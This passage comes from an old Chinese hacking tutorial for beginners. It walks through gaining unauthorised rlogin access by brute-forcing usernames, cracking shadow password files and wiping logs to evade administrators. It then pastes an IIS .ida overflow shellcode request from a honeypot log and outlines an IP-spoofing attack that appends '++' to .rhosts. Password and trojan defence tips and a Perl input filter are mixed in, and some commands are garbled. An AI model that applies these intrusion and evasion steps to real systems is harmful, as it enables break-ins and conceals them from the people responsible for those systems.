           这会自动的在/etc/passwd和/etc/shadow里加上finger出来的用户名,再对远程目标127.168.0.1执行rsh命令,成功则返回该用户名,这个操作需要很长的时间,也许是几个小时后也不能获得什么有用的信息,因此这里需要一点点运气。等待一段时间后,读取报告结果:
               # cat ./.rsh.txt
               guest
           报告结果文件“.rsh.txt”中获得了一个guest用户名(初学者很难有如此好的运气),通过rlogin登陆这个用户名看看有什么权限:
               # rlogin -l guest 127.168.0.1

               Last login: Fri Jan 12 03:01:10 from 61.135.50.24
               Copyright (c) 1980, 1983, 1986, 1988, 1990, 1991, 1993, 1994
               The Regents of the University of California. All rights reserved.

               FreeBSD 3.2-RELEASE (GENERIC) #0: Tue May 18 04:05:08 GMT 2001
               You have mail.
           到这里,我就已经登陆进入这台服务器了,现在我的权限可能还很小,不过已经能够称的上“入侵”了,后面的内容对初学者来说就真是没有介绍的必要了,因为后面牵扯的大多数命令都是初学者闻所未闻的,因此只做一个大概介绍。如果这个guest具有对/etc/passwd的访问权限,可以将passwd文件读取出来,这是Linux系统下纪录用户名和密码的文件,它的基本格式如下:
               root:*:0:0:Charlie &:/root:/usr/local/bin/bash
               guest:*:1005:2000::/home/www:/usr/local/bin/tcsh
               max:*:1006:1006::/home/max:/usr/local/bin/tcsh
               someone:*:1003:1003::/home/someone:/usr/local/bin/tcsh
           看到这个文件的话,就可以想办法获得shadow文件并利用JOHN等软件破解其中的DES加密密码,那是一个非常有意思的工作,主要是看自己的电脑速度和字典档案的优劣,很多黑客都是非常喜欢在自己的电脑上破解DES密码档案的,可以再一次使用破解出来的用户名登陆服务器,看看它的权限,直到找到最高的权限(完全控制服务器)。
           最后在离开服务器的时候,要清除日志文件,当然因为我们这次进攻是通过跳板的,所以不清楚日志管理员也很难找到我,再说我也没有进行让破坏,所以管理员并不会注意到这次进攻,在他看来只不过使用户guest登陆到服务器上随便看看又下去了。
    五、保护密码:
           对于我们这些拨号上网的用户来说,最怕的就是有居心叵测的黑客对我们进行攻击了,如何能避免个人的利益遭到损坏呢?这里总结了一些我对密码保护的看法和防范密码泄漏的对策,希望对广大读者有一定的作用。
           1、经常修改密码
           密码是我们最重要的个人隐私,如果黑客知道了我们的上网密码或者Email密码,那我们将无任何隐私可言,所以一定要选择一个比较好的密码,同时还要经常更换。一般来说,大多数人喜欢选择一些比较容易记忆的英文单词,这是非常不安全的,黑客不用什么高深的手法,只要用软件进行猜测,用不了半个小时,五位的英文单词就会被他们猜出来,所以一定要选择一个毫无意义的字符排列作为密码。这里有几条规则:
           (1)好的密码应该很长,至少七位或者八位;
           (2)有必要经常更换密码,每月改变一次自己的密码将是非常明智的选择;
           (3)密码不要单独依靠字符、数字,应该尽量混合所有的符号;
           (4)英文字母不要使用单词,应该使用没有任何规律的随机排列;
           (5)不要使用例如生日、电话号码等数字作为密码;
           (6)英文字母应该大小写都出现;
           (7)给出一个比较好的密码形式:x3Fj%tyU
           2、使用“拨号后出现终端窗口”功能
           这种方法的好处是不会将密码文件保存到电脑中,如果让电脑自动完成拨号功能,那么系统将会把您的密码保存到一个扩展名为pwl 的文件中,这样一来,有经验的人很快就可以通过特殊方法获得您的pwl 文件并找到其中的密码。具体使用“拨号后出现终端窗口”的方法如下:
           选中某一连接图标,单击鼠标右键,选“属性- 常规- 配置- 选项- 拨号后出现终端窗口”,然后拨号时,在拨号界面上不要填入用户名和密码(更不要选中“保存密码”项),在出现拨号终端窗口后再进行相应的输入,这可以避免用户名和密码被记录到硬盘上的密码文件中,同时,也可以避免被某些黑客程序捕获用户名和密码。
           3、对付特洛伊木马
           特洛伊木马程序常被定义为当执行一个任务时却实际上执行着另一个任务的程序,典型的一个例子是:伪造一个登录界面,当用户在这个界面上输入用户名和密码时,程序将它们转移到一个隐蔽的文件中,然后提示错误要求用户再输入一遍,程序这时再调用真正的登录界面让用户登录,于是在用户几乎毫无察觉的情况下就得到了记录有用户名和密码的文件。现在互联网上有许多所谓的特洛伊木马程序,像著名的BO、Backdoor、Netbus及国内的Netspy等等。严格地说,它们属于客户机/服务器(C /S )程序,因为它们往往带有一个用于驻留在用户机器上的服务器程序,以及一个用于访问用户机器的客户端程序,就好像NT的Server和 Workstation 的关系一样。
           在对付特洛伊木马程序方面,有以下几种办法:
           (1)多读readme.txt
           许多人出于研究目的下载了一些特洛伊木马程序的软件包,在没有弄清软件包中几个程序的具体功能前,就匆匆地执行其中的程序,这样往往就错误地执行了服务器端程序而使用户的计算机成为了特洛伊木马的牺牲品。软件包中经常附带的readme.txt文件会有程序的详细功能介绍和使用说明,尽管它一般是英文的,但还是有必要先阅读一下,如果实在读不懂,那最好不要执行任何程序,丢弃软件包当然是最保险的了。有必要养成在使用任何程序前先读readme.txt的好习惯。
           值得一提的是,有许多程序说明做成可执行的readme.exe形式,readme.exe往往捆绑有病毒或特洛伊木马程序,或者干脆就是由病毒程序、特洛伊木马的服务器端程序改名而得到的,目的就是让用户误以为是程序说明文件去执行它,可谓用心险恶。所以从互联网上得来的readme.exe最好不要执行它。
           (2)使用杀毒软件
           现在国内的杀毒软件都推出了清除某些特洛伊木马的功能,如KV300 、KILL98、瑞星等等,可以不定期地在脱机的情况下进行检查和清除。
           另外,有的杀毒软件还提供网络实时监控功能,这一功能可以在黑客从远端执行用户机器上的文件时,提供报警或让执行失败,使黑客向用户机器上载可执行文件后无法正确执行,从而避免了进一步的损失。
           (3)立即挂断
           尽管造成上网速度突然变慢的原因有很多,但有理由怀疑这是由特洛伊木马造成的,当入侵者使用特洛伊的客户端程序访问你的机器时,会与你的正常访问抢占宽带,特别是当入侵者从远端下载用户硬盘上的文件时,正常访问会变得奇慢无比。这时,你可以双击任务栏右下角的连接图标,仔细观察一下“已发送字节”项,如果发送字节变化在1 ~3kbps (每秒1 ~3 千字节),几乎可以确认有人在下载你的硬盘文件,除非你正在使用ftp功能。对TCP/IP端口熟悉的用户,可以在“MS-DOS 方式”下键入“netstat -a”来观察与你机器相连的当前所有通信进程,当有具体的IP正使用不常见的端口(一般大于1024)与你通信时,这一端口很可能就是特洛伊木马的通信端口。当发现上述可疑迹象后,你所能做的就是:立即挂断,然后对硬盘有无特洛伊木马进行认真的检查。

    第四章、做几个试验 
    第一节、了解httpd132f的工作原理
           当我们在浏览器的URL内输入了http://127.0.0.1/后,系统会发送一个Socket请求到IP地址为127.0.0.1的系统上,并且占用的80端口,在TCP/IP协议中规定,127.0.0.1地址是“本地系统”,也就是说我们通过浏览器访问自己的系统,如果系统中没有安装httpd132f之类的网站服务程序,那么将没有80端口打开,所以在没有运行 httpd132f的时候,浏览127.0.0.1将会出现“无法找到服务器”的错误提示。
           一旦运行了httpd132f,浏览器内的URL地址将会以“GET 127.0.0.1 HTTP/1.1”的的形式发送到本地80端口,然后由httpd132f程序进行处理,并返回处理结果(数据)。这些工作平时在网络上使用者是看不到的,因为网络服务器不可能将自己内部的数据暴露出来,那样做将是危险的,而我们在自己的系统上安装httpd132f则可以通过httpd132f/ httpd.log文件将所有过程看得一清二楚。
           现在我们在httpd132f/httpd-docs/目录下放置一个index.htm文件,然后通过http://127.0.0.1/index.htm浏览,浏览器上会看到这个index.htm文件,然后打开httpd.log看看里面有什么:
           127.0.0.1 - - [03/Sep/2001:11:26:35 +0900] "GET /index.htm HTTP/1.1" 200 7616
           httpd.log中记录了来访者的IP地址、访问时间、动作(GET)、请求文件、文件操作结果(200)、结果返回长度(7616)。
           这些记录在每一个网站服务器上都有,有些甚至更加详尽,这也正是为什么黑客所做的事情能够被人追查、黑客每次攻击结束要清理日志的原因。如果服务器上没有/index.htm这个文件,那么返回的结果将是:
           127.0.0.1 - - [02/Sep/2001:22:15:12 +0900] "GET /nofile.htm HTTP/1.1" 404 218
           其中的“404”说明文件/nofile.htm没有找到,所以黑客可以通过编写程序判断服务器上是存在某个文件(200)还是不存在某个程序(404)、或者程序没有执行权限(500)等各种扫描程序,这种编程方法和程序代码将会在后面给出来。 第二节、看看黑客在做什么
           好了,现在我们可以上网,让自己的系统真正成为网络上的一台服务器,之后等待……
           这样我们就设置了一台httpd132f服务器,实际上这是一个专门等待黑客来进攻的服务器,因为黑客对这台系统的所有操作都记录在httpd.log文件中,所以学习者可以非常快的了解到黑客究竟在利用什么方法进攻服务器,这种学习方法见效非常快,这在我当初学习黑客的时候,给予了我大量宝贵的黑客进攻资料。
           不用等待多长时间,黑客就来了,他在试图寻找我们这台服务器上的漏洞,看下面的日志文件:
    61.172.14.9 - [02/Sep/2001:16:50:53 +0900] "GET /index.htm HTTP/1.1" 404 218
    61.172.14.9 - [02/Sep/2001:16:58:27 +0900] "GET /cgi-bin/bbs/wwwboard.pl HTTP/1.1" 404 218
    61.172.14.9 - [02/Sep/2001:17:02:53 +0900] "GET /cgi-bin/bbs.pl HTTP/1.1" 404 242
    61.172.14.9 - [02/Sep/2001:17:10:16 +0900] "GET /cgi-bin/guestbook/guestbook.cgi HTTP/1.1" 404 242
    61.172.14.9 - [02/Sep/2001:17:12:51 +0900] "GET /cgi-bin/bbs.cgi HTTP/1.1" 200 1032
    61.172.14.9 - [02/Sep/2001:17:03:42 +0900] "GET /cgi-bin/bbs.cgi?a_method=fabiao&userpsd=&username= HTTP/1.1" 404 218
    61.172.14.9 - [02/Sep/2001:17:03:54 +0900] "GET /cgi-bin/bbs.cgi?a_method=fabiao&userpsd=&username= HTTP/1.1" 404 218
    61.172.14.9 - [02/Sep/2001:17:04:08 +0900] "GET /cgi-bin/bbs.cgi?a_method=fabiao&userpsd=&username= HTTP/1.1" 200 3302
    61.172.14.9 - [02/Sep/2001:17:04:27 +0900] "POST /cgi-bin/bbs.cgi HTTP/1.1" 200 177
    61.172.14.9 - [02/Sep/2001:17:04:30 +0900] "GET /cgi-bin/bbs.cgi?a_method=win&userpsd=test&username=max HTTP/1.1" 200 782
    61.172.14.9 - [02/Sep/2001:17:04:32 +0900] "GET /cgi-bin/bbs.cgi?a_method=list&userpsd=test&username=max HTTP/1.1" 200 4526
    61.172.14.9 - [02/Sep/2001:17:04:42 +0900] "GET /cgi-bin/bbs.cgi?a_method=show&slttitle=2001-09-02.18:04:29&username=macker&userpsd=test HTTP/1.1" 200 5785
    61.172.14.9 - [02/Sep/2001:17:04:58 +0900] "POST /cgi-bin/bbs.cgi HTTP/1.1" 200 177
    61.72.8.41 - [02/Sep/2001:20:38:57 +0900] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.1" 404 218
    61.79.163.130 - [02/Sep/2001:20:40:27 +0900] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.1" 404 218
    61.178.15.126 - [02/Sep/2001:20:40:57 +0900] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.1" 404 218
    61.135.5.75 - [02/Sep/2001:20:43:31 +0900] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.1" 404 218
    61.135.115.139 - [02/Sep/2001:20:49:09 +0900] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.1" 404 218
    61.135.115.139 - [02/Sep/2001:20:49:44 +0900] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.1" 404 218
    61.135.225.12 - [02/Sep/2001:20:53:15 +0900] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.1" 404 218
    61.188.194.141 - [02/Sep/2001:21:01:50 +0900] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.1" 404 218
    61.130.51.89 - [02/Sep/2001:21:11:29 +0900] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.1" 404 218
    61.73.97.116 - [02/Sep/2001:21:24:59 +0900] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.1" 404 218
    61.74.149.131 - [02/Sep/2001:21:44:17 +0900] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.1" 404 218
           现在让我们来分析一下吧:
           61.172.14.9 - - [02/Sep/2001:16:50:53 +0900] "GET /index.htm HTTP/1.1" 200 7612
           黑客发现了我们这台服务器,并且通过浏览器观看网站上的/index.htm文件
           61.172.14.9 - - [02/Sep/2001:16:58:27 +0900] "GET /cgi-bin/bbs/wwwboard.pl HTTP/1.1" 404 218
           黑客开始试图寻找服务器上的论坛、免费代码,因为这些程序中会存在漏洞
           61.172.14.9 - - [02/Sep/2001:17:02:53 +0900] "GET /cgi-bin/bbs.pl HTTP/1.1" 404 242
           继续寻找,上面的/cgi-bin/bbs/wwwboard.pl和这里的/cgi-bin/bbs.pl是大多数网站服务器默认的论坛程序
           61.172.14.9 - - [02/Sep/2001:17:10:16 +0900] "GET /cgi-bin/guestbook/guestbook.cgi HTTP/1.1" 404 242
           寻找系统中默认的留言板程序,返回404,仍然没有找到可利用的程序
           61.172.14.9 - - [02/Sep/2001:17:12:51 +0900] "GET /cgi-bin/bbs.cgi HTTP/1.1" 200 1032v       发现了一个/cgi-bin/bbs.cgi的电子留言版
           61.172.14.9 - - [02/Sep/2001:17:03:42 +0900] "GET /cgi-bin/bbs.cgi?a_method=fabiao&userpsd=&username= HTTP/1.1" 404 218
           黑客简单的应用这个程序,它在观看这个留言板并且在尝试着发贴,没有成功
           61.172.14.9 - - [02/Sep/2001:17:03:54 +0900] "GET /cgi-bin/bbs.cgi?a_method=''''''&userpsd=&username= HTTP/1.1" 404 218
           开始用特殊代码替换标准代码,试图找到bbs.cgi程序中的“考虑不周详漏洞”,没有成功
           61.172.14.9 - - [02/Sep/2001:17:04:08 +0900] "GET /cgi-bin/bbs.cgi?a_method=fabiao&userpsd=&username= HTTP/1.1" 200 3302
           常规发表了一篇文件
           61.172.14.9 - - [02/Sep/2001:17:04:27 +0900] "POST /cgi-bin/bbs.cgi HTTP/1.1" 200 177
           发送发表的文章,发送成功
           61.172.14.9 - - [02/Sep/2001:17:04:30 +0900] "GET /cgi-bin/bbs.cgi?a_method=win&userpsd=test&username=macker HTTP/1.1" 200 782
           黑客继续观看bbs.cgi,但是仍然局限在常规操作上
           61.172.14.9 - - [02/Sep/2001:17:04:32 +0900] "GET /cgi-bin/bbs.cgi?a_method=listtitle&userpsd=test&username=macker HTTP/1.1" 200 4526
           继续常规的浏览bbs.cgi,这个时候黑客可能在网络上寻找这个bbs.cgi的源代码,因为有了源代码寻找漏洞将会更加方便
           最后黑客放弃了,因为它没有找到bbs.cgi上的漏洞,当然不会有漏洞,因为bbs.cgi是本人用了两年的时间完善出来的一个论坛,不过如果学习者真想知道网络上的Perl中的漏洞,倒是可以用这种方法来“引诱”黑客进攻,这样你就可以很快了解黑客是利用的什么漏洞了。
           这次来攻击的黑客似乎是个菜鸟,因为它没有使用漏洞扫描器,只不过简单的着了两个比较著名的论坛漏洞,因为我没有在自己的系统上安装那两个论坛,所以这个黑客无能为力了。
           不过后来又闯进来一个黑客,从httpd.log分析这应该是一种蠕虫,每次变换的IP地址和非常特殊的GET请求都看得出来这个程序正在进行分散式溢出攻击,不过这种攻击主要针对IIS等流行的网站服务器程序,对于我使用的httpd132f却没有用处,因为httpd132f中不存在 Null.htw、idc、ida等漏洞,这些漏洞在第三章已经介绍过,它们都是IIS中的典型漏洞,黑客也正是想攻过这些漏洞进行攻击,不过没有成功罢了。

    第三节、自己测试一下
           到网络上下载一个searcher.cgi的搜索引擎源代码,然后放入httpd132f/cgi-bin/searcher/目录下,之后通过浏览器访问http://127.0.0.1/cgi-bin/searcher/searcher.cgi就可以调用这个搜索引擎了,之后我们可以常规的在这个引擎中加入一些网站地址,然后一边浏览引擎页面一边观察httpd.log,很快读者就能够体会到网页浏览、CGI程序调用都是什么样的原理,这比我“纸上谈兵”要感性得多。然后我们来做一些特殊的操作吧。
           通过浏览器进入“登陆网站”页面,然后再网站描述中输入文字“TEST”;之后再做同样的操作,并且在网站描述中输入“<font color=red>TEST</font>”,分别比较两次登陆的信息,会发现第二次的登陆信息是红色的,这是因为使用了HTML的元素<font>,同样利用这些HTML元素可以在输入信息内添加图片、大字体等内容,这样就严重的扰乱的这个搜索引擎的正常功能。
           如何避免这种问题?这在第三章我也略微介绍过,在searcher.cgi中加入下面的判断语句:
               if(($file_name=~/[^a-zA-Z_/.]/)||($file_name=~/^/./))
           这样当以后操作者试图在$file_name变量中输入“<”、“'”等特殊符号的时候,会被程序判断并阻止信息的发送,这样就可以很好的解决Perl中可能出现的问题了。
           但是作为Perl程序开发人员,简单的一两句话是很难全面的介绍各种可能出现的问题的,这就需要程序开发人员在程序运行的过程中严密监视系统日志,一旦发现了特殊的没有考虑到的黑客动作时,便要在最短的时间内将出现的问题进行修复

    第五章、黑客常用攻击手段 
    第一节、IP欺骗攻击
           IP欺骗是在服务器不存在任何漏洞的情况下,通过利用TCP/IP协议本身存在的一些缺陷进行攻击的方法,这种方法具有一定的难度,需要掌握有关协议的工作原理和具体的实现方法。
    一、TCP、IP协议的简单说明:
           TCP/IP(传输入控制地议/网际协议)是一种网络通信协议,它规范了网络上的所有通信设备,尤其是一个主机与另一个主机之间的数据传输格式以及传送方式,TCP/IP是因特网的基础协议。要想当黑客就有必要了解TCP/IP协议。
           在数据传送中,可以形象的理解为有两个信封:TCP和IP信封。要送递的信息被分成若干段,每一段塞入一个TCP信封,并在该信封上记录有分段号的信息,再将TCP信封塞入IP大信封里,发送到网上。在扫收端,一个TCP软件包收集信封,抽出数据,按发送关的顺序还原,并加以校验,若发现差错,TCP将会要求重发。因此TCP/IP在因特网中几乎可以无差错地传送数据。对因特网用户来说,并不需要了解网络协议的整个结构,仅需了解IP的地址格式,即可与世界各地进行网络通信。
           1、TCP/IP的层次结构:
           TCP/IP协议组中的协议因特网上数据的传输,提供了几乎目前上网所用到的所有服务,在TCP/IP协议组中有两种协议:
           (1)网络层协议:
           网络层协议管理离散计算机间的数据传输。这些协议用户注意不到,它们是个系统表层以下工作的。比如,IP协议为用户和远程计算机提供了信息包的传输方法,它是在许多信息的基础上工作的。比如机器的IP地址。在机器的IP地址和其他信息的基础上,IP确保信息包正确达到目的机器。通过这一过程,IP和其他网络层的协议一共同用于数据传输。如果没有网络工具,用户就看不到在系统里工作的机器的IP。
           (2)应用层协议:
           相反地,应用层协议是可以看到的。比如,文件传输协议(FTP)是可以看到的。用户为了传一个文件而请求一个和其他计算机连接,连接建立后,就开始传输文件,在传输时,用户和远程计算机的交换的一部分是能看到的。
           2、TCP/IP的重要协议:
           (1)地址解析协议(ARP):
           在网络上进行通信的主机必须知道对方主机的硬件地址(网卡的物理地址)。地址解析协议的目的就是将IP地址映射成物理地址。这在使信息通过网络时特别重要。一个消息(或者其他数据)在发送之前,被打包到IP包里面,或适合于因特网传输信息块中,其中包括两台计算机的IP地址。在这个包离开发送计算机前,必须找到目标的硬件地址,这就是ARP最初到达的地方。
           一个ARP请求消息会在网上广播。请求由一个进程接收,它回复物理地址。这个回复消息由原先的那台发送广播消息的计算机接收,从而传输过程就开始了。
           ARP的设计包括一个缓存。为了减少广播量,ARP在缓存中保存地址映射以备后用。ARP级存保存有动态项和静态项。动态项是自动加和删除的,静态项则是保留在缓存(Cache)中,直到计算机重启为止。ARP缓存总是为本地子网保留硬件广播地址(0xffffffffffffh)用为一个永久项,此项使主机能够接收ARP广播。当果看存时,该项不会显示。每条ARP缓存记录的生命周期为10分种,如果2分种未用则删除。缓存容量满时,删除最早的记录,但是,缓存也引起了安全性的问题。那就是缓存溢出——这不是本文的讨论内容,所以就不说了。
           (2)因特网控制消息协议(ICMP):
           因特网控制消息协议(ICMP)用于报告错误并IP对消息进行控制。IP运用互联组管理协议(IGMP)来告诉路由器某一网络上指导组中有哪些可用主机。
           以ICMP实现的最著名的网络工具是Ping。Ping通常用来判断一台远程机器是否正开着,数据包从用户的计算机发到远程计算机,这些包通常返回到用户的计算机,如果数据据包没有返回到用户计算机,Ping程序就产生一个表示远程计算机关机的错误消息。
    二、IP攻击中如何建立建立信任关系:
           IP欺骗是利用了主机之间的正常信任关系来发动的,所以在介绍IP欺骗攻击之前,先说明一下什么是信任关系,信任关系是如何建立的。
           在UNIX主机中,存在着一种特殊的信任关系。假设有两台主机hosta和hostb,上面各有一个帐户Tomy,在使用中会发现,在hosta上使时要输入在hosta上的相应帐户Tomy,在hostb上使用时必须输入用hostb的帐户Tomy,主机hosta和hostb把Tomy当做两个互不相关的用户,这显然有些不便。为了减少这种不便,可以在主机hosta和hostb中建立起两个帐户的相互信任关系。在hosta和hostb上Tomy的 home目录中创建.rhosts文件。从主机hosta上,在你的home目录中用命令echo “hostb Tomy”>~/.hosts实现hosta&hostb的信任关系,这时,你从主机hostb上,你就能毫无阻碍的使用任何以r开头的远程调用命令,如:rlogin、rsh、rcp等,而无需输入口令验证就可以直接登录到hosta上。这些命令将充许以地址为基础的验证,允许或者拒绝以 IP地址为基础的存取服务。这里的信任关系是基于IP的地址的。
           当/etc/hosts.equiv中出现一个 “+”或者$HOME/.rhosts中出现 “++”时,表明任意地址的主机可以无须口令验证而直接使用r命令登陆此主机,这是十分危险的,而这偏偏又是某些管理员不重视的地方。下面我们看一下 rlogin的用法。
           rlogin是一个简单的/服务器程序,它的作用和telnet差不多,不同的是telnet完全依赖口令验证,而rlogin是基于信任关系的验证,其次到才进行口令验证的,它使用了TCP协议进行传输。当用户从一台主机登陆到另一台主机上,并且,如果目录主机信任它,rlogin将允许在不应答口令的性况下使用目标主机上的资源,安全验证完便基于源主机的IP地址。因此,根据以上所举的例子,我们能利用rlogin来从hostb远程登陆到 hosta,而且不会被提示出入口令!
    三、IP欺骗的理论根据:
           看到上面的说明,每一个黑客都会想到:既然hosta和hostb之间的信任关系是基于IP址而建立起来的,那么假如能够冒充hostb的IP,就可以使用rlogin登录到hosta,而不需任何口令验证。这就是IP欺骗的最根本的理论依据。但是,事情远没有想像中那么简单!虽然可以通过编程的方法随意改变发出的包的IP地址,但TCP协议对IP进行了进一步的封装,它是一种相对可靠的协议,不会让黑客轻易得逞。下面看一下正常的TCP/IP会话的过程:
           由于TCP是面向连接的协议,所以在双方正式传输数据之前,需要用“三次握手”来建立一个稳重的连接。假设还是hosta和hostb两台主机进行通信, hostb首先发送带有SYN标志的数据段通知hosta建立TCP连接,TCP的可靠性就是由数据包中的多位控制字来提供的,其中最重要的是数据序列 SYN和数据确认标志ACK。B将TCP报头中的SYN设为自己本次连接中的初始值(ISN)。
           当hosta收到hostb的SYN包之后,会发送给hostb一个带有SYN+ACK标志的数据段,告之自己的ISN,并确认hostb发送来的第一个数据段,将ACK设置成hostb的SYN+1。
           当hostb确认收到hosta的SYN+ACK数据包后,将ACK设置成hosta的SYN+1。Hosta收到hostb的ACK后,连接成功建立,双方可以正式伟输数据了。
           看了这个过程,我们就很容易想到,假如想冒充hostb对hosta进行攻击,就要先使用hostb的IP地址发送SYN标志给hosta,但是当 hosta收到后,并不会把SYN+ACK发送到我们的主机上,而是发送到真正的hostb上去,这时IP欺骗就失败了,因为hostb根本没发送发 SYN请请。所以如果要冒充hostb,首先要让hostb失去工作能力,也就是所谓的拒绝服务攻击,设法让让hostb瘫痪。
           可是这样还是远远不够的,最难的就是要对hosta进行攻击,必须知道hosta使用的ISN。TCP使用的ISN是一个32位的计数器,从0到 4,294,967,295。TCP为每一个连接选择一个初始序列号ISN,为了防止因为延迟、重传等扰乱三次握手,ISN不能随便选取,不同的系统有着不同的算法。理解TCP如何分配ISN以及ISN随时间的变化规律,对于成功的进行IP欺骗攻击是很重要的!ISN约每秒增加128 000,如果有连接出现,每次连接将把计数器的数值增加64,000。很显然,这使得用于表示ISN的32位计数器在没有连接的情况下每9.32小时复位一次。这所以这样,是因为它有利于最大于度地减少“旧有”连接的信息干扰当前连接的机会。如果初始序例号是随意选择的,那么不能保证现有序例号是不同于先前的。假设有这样一种情况,在一个路由回路中的数据包最终跳出循环,回到了“旧有”的连接,显然这会对现有连接产生干扰。预测出攻击目标的序例号非常困难,而且各个系统也不想同,在Berkeley系统,最初的序列号变量由一个常数每秒加1产生,等加到这个常数的一半时,就开始一次连接。这样,如果开始啊一个合法连接,并观察到一个ISN正在使用,便可以进行预测,而且这样做有很高的可信度。现在我们假设黑客已经使用某种方法,能预测出ISN。在这种情况下,他就可以将ACK序便号送给hosta,这时连接就建立了。
    四、IP欺骗攻击过程解析:
           IP欺骗由若干步骤组成,下面是它的详细步骤:
           1、使被信任主机失去工作能力:
           为了伪装成被信任主机而不露陷,需要使其完全失去工作能力。由于攻击者将要代替真正的被信任主机,他必须确保真正的被信任主机不能收到任何有效的网络数据,否则将会被揭穿。有许多方法可以达到这个目的(如SYN洪水攻击、TTN、Land等攻击)。现假设你已经使用某种方法使得被信任的主机完全失去了工作能力。
           2、序例号取样和猜测:
           前面讲到了,对目标主机进行攻击,必须知道目标主机的数据包序例号。通常如何进行预测呢?往往先与被攻击主机的一个端口(如:25)建立起正常连接。通常,这个过程被重复N次,并将目标主机最后所发送的ISN存储起来。然后还需要进行估计他的主机与被信任主机之间的往返时间,这个时间是通过多次统计平均计算出来的。往返连接增加64,000.现在就可以估计出ISN的大小是128,000乘以往返时间的一半,如果此时目标主机刚刚建立过一个连接,那么再加上64 ,00。
           一旦估计出ISN的大小,就开始着手进行攻击,当然你的虚假TCP数据包进入目标主机时,如果刚才估计的序例号是准确的,进入的数据将被放置在目标机的缓冲区中。但是在实际攻击过程中往往没这么幸运,如果估计序例号的小于正确值,那么将被放弃。而如果估计的序例号大于正确值,并且在缓冲区的大小之内,那么该数据被认为是一个未来的数据,TCP模块将等待其他缺少的数据。如果估计序例号大于期待的数字且不在缓冲区之内,TCP将会放弃它并返回一个期望获得的数据序例号。
           你伪装成被信任的主机IP,此时该主机仍然处在瘫痪状态,然后向目标主机的513端口(rlogin)发送连接请求。目标主机立刻对连接请求作出反应,发更新SYN+ACK确认包给被信任主机,因为此时被信任主机仍然处于瘫痪状态,它当然无法收到这个包,紧接关攻击者向目标主机发送ACK数据包,该包使用前面估计的序例号加1。如果攻击者估计正确的话,目标主机将会接收该ACK。连接就正式建立起了,可以开始数据传输了。这时就可以将cat ‘++’>>~/.rhosts命令发送过去,这样完成本次攻击后就可以不用口令直接登录到目标主机上了。如果达到这一步,一次完整的IP欺骗就算完成了,黑客已经在目标机上得到了一个Shell权限,接下来就是利用系统的溢出或错误配置扩大权限,当然黑客的最终目的还是获得服务器的root 权限。
           3、总结一下IP攻击的整个步骤:
           (1)首先使被信任主机的网络暂时瘫痪,以免对攻击造成干扰;
           (2)然后连接到目标机的某个端口来猜测ISN基值和增加规律;
           (3)接下来把源址址伪装成被信任主机,发送带有SYN标志的数据段请求连接;
           (4)然后等待目标机发送SYN+ACK包给已经瘫痪的主机;
